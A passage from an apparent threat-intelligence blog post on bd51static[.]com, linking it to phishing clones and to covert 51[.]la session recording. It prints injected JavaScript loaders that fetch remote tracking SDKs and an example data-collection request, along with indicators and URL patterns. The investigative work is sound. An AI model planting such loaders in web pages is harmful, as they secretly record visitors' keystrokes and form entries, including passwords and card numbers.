Masking:</strong> Rigorously mask or redact sensitive information in forms and other interactive elements to prevent its unintended capture during session recording.</p></li><li><p><strong>Adhere to Data Protection Regulations:</strong> Comply with all relevant local and international privacy laws.</p></li></ul><p>Without these stringent measures, deploying the 51[.]la framework, especially its session recording component, could lead to significant privacy violations.</p><p>None of the websites detected in this <a href="https://reporter.deepspecter.com/the-cloak-and-the-dagger-how-google-and-cloudflare-missed-a-global-phishing-empire-ed7176ebf82f">Investigation</a> showing any &#8220;consent&#8221; message.</p><p>Every mouse move, click, scroll, and keypress is recorded. This creates a highly detailed profile of user behavior that can be replayed visually, which is a significant privacy intrusion if not transparently handled and consented to.</p><p>The script explicitly captures keyboard inputs and changes to elements. Without specific masking or redaction rules implemented on the website, this means sensitive information (e.g., passwords, credit card numbers, personal details) typed into forms can be recorded and transmitted. The code does not show explicit mechanisms for sensitive data masking within this snippet.</p><p>All collected data is sent to 51[.]la servers. The security and privacy responsibilities of 51[.]la regarding the storage, access, and use of this highly sensitive session replay data are paramount.</p><p>On <a href="https://www.virustotal.com/gui/domain/bd51static.com/relations">VirusTotal.com</a> this domain (bd51static[.]com) has notable amount of &#8220;RED&#8221; related files:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!D_hU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60ff93fb-d8bb-41f5-9e73-5740f970343e_700x598.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!D_hU!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60ff93fb-d8bb-41f5-9e73-5740f970343e_700x598.png 424w, https://substackcdn.com/image/fetch/$s_!D_hU!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60ff93fb-d8bb-41f5-9e73-5740f970343e_700x598.png 848w, https://substackcdn.com/image/fetch/$s_!D_hU!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60ff93fb-d8bb-41f5-9e73-5740f970343e_700x598.png 1272w, https://substackcdn.com/image/fetch/$s_!D_hU!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60ff93fb-d8bb-41f5-9e73-5740f970343e_700x598.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!D_hU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60ff93fb-d8bb-41f5-9e73-5740f970343e_700x598.png" width="700" height="598" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/60ff93fb-d8bb-41f5-9e73-5740f970343e_700x598.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:598,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!D_hU!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60ff93fb-d8bb-41f5-9e73-5740f970343e_700x598.png 424w, https://substackcdn.com/image/fetch/$s_!D_hU!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60ff93fb-d8bb-41f5-9e73-5740f970343e_700x598.png 848w, https://substackcdn.com/image/fetch/$s_!D_hU!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60ff93fb-d8bb-41f5-9e73-5740f970343e_700x598.png 1272w, https://substackcdn.com/image/fetch/$s_!D_hU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60ff93fb-d8bb-41f5-9e73-5740f970343e_700x598.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Mostly all are JavaScript and HTML in &#8220;RED&#8221;, some PDF files are &#8220;GREEN&#8221;, and 2 &#8220;WIN32 EXE&#8221;:</p><p><a href="https://www.virustotal.com/gui/file/6ac352249c9a544218859240ec90ce98253bea1fc8d9d70ed0b07824b5f79782/detection">https://www.virustotal.com/gui/file/6ac352249c9a544218859240ec90ce98253bea1fc8d9d70ed0b07824b5f79782/detection</a></p><p><a href="https://www.virustotal.com/gui/file/d9f87b568cb76a92005ced8a600752b32a289e246fe07233471934c4e6e329cd/relations">https://www.virustotal.com/gui/file/d9f87b568cb76a92005ced8a600752b32a289e246fe07233471934c4e6e329cd/relations</a></p><p>This is not an ordinary situation.</p><p>While first EXE refers to domain 6d6d[.]net that no longer accessible, the second refers to canadasrv[.]info which shows a &#8220;Gambling&#8221;- cloak hiding clone of <a href="https://www.canadream.com/">CanaDream</a>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!XHWM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F086cb5ef-5cc5-48e9-9430-9842a9fd07f3_700x525.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!XHWM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F086cb5ef-5cc5-48e9-9430-9842a9fd07f3_700x525.png 424w, https://substackcdn.com/image/fetch/$s_!XHWM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F086cb5ef-5cc5-48e9-9430-9842a9fd07f3_700x525.png 848w, https://substackcdn.com/image/fetch/$s_!XHWM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F086cb5ef-5cc5-48e9-9430-9842a9fd07f3_700x525.png 1272w, https://substackcdn.com/image/fetch/$s_!XHWM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F086cb5ef-5cc5-48e9-9430-9842a9fd07f3_700x525.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!XHWM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F086cb5ef-5cc5-48e9-9430-9842a9fd07f3_700x525.png" width="700" height="525" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/086cb5ef-5cc5-48e9-9430-9842a9fd07f3_700x525.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:525,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!XHWM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F086cb5ef-5cc5-48e9-9430-9842a9fd07f3_700x525.png 424w, https://substackcdn.com/image/fetch/$s_!XHWM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F086cb5ef-5cc5-48e9-9430-9842a9fd07f3_700x525.png 848w, https://substackcdn.com/image/fetch/$s_!XHWM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F086cb5ef-5cc5-48e9-9430-9842a9fd07f3_700x525.png 1272w, https://substackcdn.com/image/fetch/$s_!XHWM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F086cb5ef-5cc5-48e9-9430-9842a9fd07f3_700x525.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>and &#8220;proud user&#8221; of <code>11sp[.]js</code> script from <code>bd51static[.]com</code>.</p><p>It also provides us an example of what request with collected data may look like:</p><pre><code>&lt;http://collect-v6&gt;[.]51[.]la/v6/collect?dt=2&amp;data=N4IgbgrAwg9gtgSQCYgFwAIB2BXANrgGnRAEsUMQBpAI2wAYBDAUwDYAJAdzYYGs2AVAFo8QREACcALmnQBGAOwAWAEzKAnIrV0AzBsVjJ0ioGb7QEy2gDz1AC-ERAGdqBO00ANzoC51QC9ugWpMA1IAB9QGqagZb9AHPNAZXlAS31lOmVFAB9ZFgAOM1tARX9fQDDlQCflbx9AU-NAI+jA9CgGTAYAEXEmBjhRYh4OGRAzK1tHVzcCX0DQ8MiCWITTZLT0jpz8gIJxMELihiQGIgAdTABjKoAHGZL5pdWNpnF0CsxJBkJluBhJGHEAC3gmI6YTs4JlqaeX3ABnIgBiWToABKADVPqdcOgVvB1sUAJ7oEiYKGzHboS7fSRPaFwODPJBMJBHabHCFQmHwxHItbbBbEMRIb4NABiSKJkluj2oTExgAQGQBEsZZABVygCwEwCIDP0zKErIAUuXpxG+ZBZdBYdE0AEE1ABaFiydXqrWKdWlZlatSlOIQLWyOjqgCi8QAQspZIo6HEaiAVtgGrdDOtUAB6QM0uYMb5TAB0SIAZjBAwB+MAAXkUAFJlHaIgAyODfADmyaRmM96x9FE94lwDVddDoACobRA6J7cMV8w1nlqAKoAZU9KyMxGwmB4mBg9TE3zA5DkYhWTBksnns+0yinhhkdAZ4i3YmwYG+KyX+6VFHVcXkWigihYWuZaivhuZjrtZrUcVNa+0ETiimZ6oQKULCetgMZDgoKjqJoOgfnQAC+QA</code></pre><p>The bd51static[.]com domain was created at 2021&#8211;10&#8211;07T03:12:22Z, via <a href="http://www.namecheap.com/">Namecheap Inc.</a> and was hosted on following IP addresses over the time (data collected using <a href="https://securitytrails.com/">Security Trails</a>):</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!iKCZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43594b4c-0f79-4942-83c8-bd33223d14fa_700x378.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!iKCZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43594b4c-0f79-4942-83c8-bd33223d14fa_700x378.png 424w, https://substackcdn.com/image/fetch/$s_!iKCZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43594b4c-0f79-4942-83c8-bd33223d14fa_700x378.png 848w, https://substackcdn.com/image/fetch/$s_!iKCZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43594b4c-0f79-4942-83c8-bd33223d14fa_700x378.png 1272w, https://substackcdn.com/image/fetch/$s_!iKCZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43594b4c-0f79-4942-83c8-bd33223d14fa_700x378.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!iKCZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43594b4c-0f79-4942-83c8-bd33223d14fa_700x378.png" width="700" height="378" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/43594b4c-0f79-4942-83c8-bd33223d14fa_700x378.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:378,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!iKCZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43594b4c-0f79-4942-83c8-bd33223d14fa_700x378.png 424w, https://substackcdn.com/image/fetch/$s_!iKCZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43594b4c-0f79-4942-83c8-bd33223d14fa_700x378.png 848w, https://substackcdn.com/image/fetch/$s_!iKCZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43594b4c-0f79-4942-83c8-bd33223d14fa_700x378.png 1272w, https://substackcdn.com/image/fetch/$s_!iKCZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43594b4c-0f79-4942-83c8-bd33223d14fa_700x378.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The JavaScript files hosted there that have almost identical content:</p><pre><code>if (location.hostname === &#8216;gushibisai[.]cn&#8217;) {
// Skip execution
} else {
document.write(&#8221;&lt;script&gt;!function(p){\\&#8221;use strict\\&#8221;;!function(t){var s=window,e=document,i=p,c=\\&#8221;\\&#8221;.concat(\\&#8221;https:\\&#8221;===e.location.protocol?\\&#8221;https://\\&#8221;:\\&#8221;http://\\&#8221;,\\&#8221;sdk[.]51[.]la/js-sdk-pro.min.js\\&#8221;),n=e.createElement(\\&#8221;script\\&#8221;),r=e.getElementsByTagName(\\&#8221;script\\&#8221;)[0];n.type=\\&#8221;text/javascript\\&#8221;,n.setAttribute(\\&#8221;charset\\&#8221;,\\&#8221;UTF-8\\&#8221;),n.async=!0,n.src=c,n.id=\\&#8221;LA_COLLECT\\&#8221;,i.d=n;var o=function(){s.LA.ids.push(i)};[s.LA?s.LA.ids&amp;&amp;o():(s.LA=p,s.LA.ids=[],o()](&lt;http://s.la/?s.LA.ids&amp;&amp;o():(s.LA=p,s.LA.ids=%5B%5D,o()&gt;)),r.parentNode.insertBefore(n,r)}()}({id:\\&#8221;Kbu0ae6HwHakHTZk\\&#8221;,ck:\\&#8221;Kbu0ae6HwHakHTZk\\&#8221;});&lt;/script&gt;&#8221;)
document.write(&#8221;&lt;script&gt;!function(p){\\&#8221;use strict\\&#8221;;!function(t){var s=window,e=document,i=p,c=\\&#8221;\\&#8221;.concat(\\&#8221;https:\\&#8221;===e.location.protocol?\\&#8221;https://\\&#8221;:\\&#8221;http://\\&#8221;,\\&#8221;sdk[.]51[.]la/js-sdk-pro.min.js\\&#8221;),n=e.createElement(\\&#8221;script\\&#8221;),r=e.getElementsByTagName(\\&#8221;script\\&#8221;)[0];n.type=\\&#8221;text/javascript\\&#8221;,n.setAttribute(\\&#8221;charset\\&#8221;,\\&#8221;UTF-8\\&#8221;),n.async=!0,n.src=c,n.id=\\&#8221;LA_COLLECT\\&#8221;,i.d=n;var o=function(){s.LA.ids.push(i)};[s.LA?s.LA.ids&amp;&amp;o():(s.LA=p,s.LA.ids=[],o()](&lt;http://s.la/?s.LA.ids&amp;&amp;o():(s.LA=p,s.LA.ids=%5B%5D,o()&gt;)),r.parentNode.insertBefore(n,r)}()}({id:\\&#8221;Kbu24kLHSAUfBcx4\\&#8221;,ck:\\&#8221;Kbu24kLHSAUfBcx4\\&#8221;});&lt;/script&gt;&#8221;)
var _hmt = _hmt || [];
(function() {
var hm = document.createElement(&#8221;script&#8221;);
hm.src = &#8220;&lt;https://hm&gt;[.]baidu[.]com/hm.js?9449080f1fd9d69519fb3ef29e931160&#8221;;
var s = document.getElementsByTagName(&#8221;script&#8221;)[0];
s.parentNode.insertBefore(hm, s);
})();</code></pre><p>There are some variants:</p><ul><li><p>with/without Baidu <code>_hmt</code> function</p></li><li><p>with/without &#8220;skip execution&#8221; condition and probably different domain in this condition</p></li><li><p>different <code>id</code> and ck values</p></li></ul><p>All such files URL have similar pattern:</p><pre><code>&lt;http://bd51static&gt;[.]com/&lt;number from 0 to 24&gt;&lt;2 low case letters&gt;.js</code></pre><p>We are not sure why &#8220;skip execution&#8221; exists and what is so special about this domain: <code>gushibisai[.]cn</code></p><p>Here some of the scripts we detected (&#8221;<code>now</code>&#8221; - means this month, &#8220;<code>first_time_seen</code>&#8221; is approximation based on the earliest sighting we were able to find):</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!I-dC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f045182-c83d-4c04-bd71-205f2d101156_700x371.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!I-dC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f045182-c83d-4c04-bd71-205f2d101156_700x371.png 424w, https://substackcdn.com/image/fetch/$s_!I-dC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f045182-c83d-4c04-bd71-205f2d101156_700x371.png 848w, https://substackcdn.com/image/fetch/$s_!I-dC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f045182-c83d-4c04-bd71-205f2d101156_700x371.png 1272w, https://substackcdn.com/image/fetch/$s_!I-dC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f045182-c83d-4c04-bd71-205f2d101156_700x371.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!I-dC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f045182-c83d-4c04-bd71-205f2d101156_700x371.png" width="700" height="371" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1f045182-c83d-4c04-bd71-205f2d101156_700x371.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:371,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!I-dC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f045182-c83d-4c04-bd71-205f2d101156_700x371.png 424w, https://substackcdn.com/image/fetch/$s_!I-dC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f045182-c83d-4c04-bd71-205f2d101156_700x371.png 848w, https://substackcdn.com/image/fetch/$s_!I-dC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f045182-c83d-4c04-bd71-205f2d101156_700x371.png 1272w, https://substackcdn.com/image/fetch/$s_!I-dC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f045182-c83d-4c04-bd71-205f2d101156_700x371.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>As You can see we are missing scripts that start with 1, 3 and have additional 000-starting script (a typo?).</p><p>We can also see in the data that some scripts changed their content completely over the time.</p><p>bd51static[.]com/8ad.js content:</p><p>November 3rd 2021, 4:23:11 pm UTC:</p><pre><code>document.write (&#8217;&lt;script&gt; var _hmt = _hmt || []; (function() { var hm = document.createElement(&#8221;script&#8221;); hm.src = &#8220;&lt;https://hm&gt;[.]baidu[.]com/hm.js?819fac51004b03b92f4ce54199d2471b&#8221;; var s = document.getElementsByTagName(&#8221;script&#8221;)[0]; s.parentNode.insertBefore(hm, s); })(); &lt;/script&gt;&#8217;);
document.write (&#8217;&lt;script&gt; var _hmt = _hmt || []; (function() { var hm = document.createElement(&#8221;script&#8221;); hm.src = &#8220;&lt;https://hm&gt;[.]baidu[.]com/hm.js?fd37a1a07d7bfd08543f4e483a7f0d2b&#8221;; var s = document.getElementsByTagName(&#8221;script&#8221;)[0]; s.parentNode.insertBefore(hm, s); })(); &lt;/script&gt;&#8217;);</code></pre><p>July 23rd 2022, 6:54:30 am UTC:</p><pre><code>document.write(&#8221;&lt;script&gt;!function(p){\\&#8221;use strict\\&#8221;;!function(t){var s=window,e=document,i=p,c=\\&#8221;\\&#8221;.concat(\\&#8221;https:\\&#8221;===e.location.protocol?\\&#8221;https://\\&#8221;:\\&#8221;http://\\&#8221;,\\&#8221;sdk[.]51[.]la/js-sdk-pro.min.js\\&#8221;),n=e.createElement(\\&#8221;script\\&#8221;),r=e.getElementsByTagName(\\&#8221;script\\&#8221;)[0];n.type=\\&#8221;text/javascript\\&#8221;,n.setAttribute(\\&#8221;charset\\&#8221;,\\&#8221;UTF-8\\&#8221;),n.async=!0,n.src=c,n.id=\\&#8221;LA_COLLECT\\&#8221;,i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&amp;&amp;o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:\\&#8221;JWt5y7kp2GoqVv83\\&#8221;,ck:\\&#8221;JWt5y7kp2GoqVv83\\&#8221;});&lt;/script&gt;&#8221;)</code></pre><pre><code>document.write(&#8221;&lt;script&gt;!function(p){\\&#8221;use strict\\&#8221;;!function(t){var 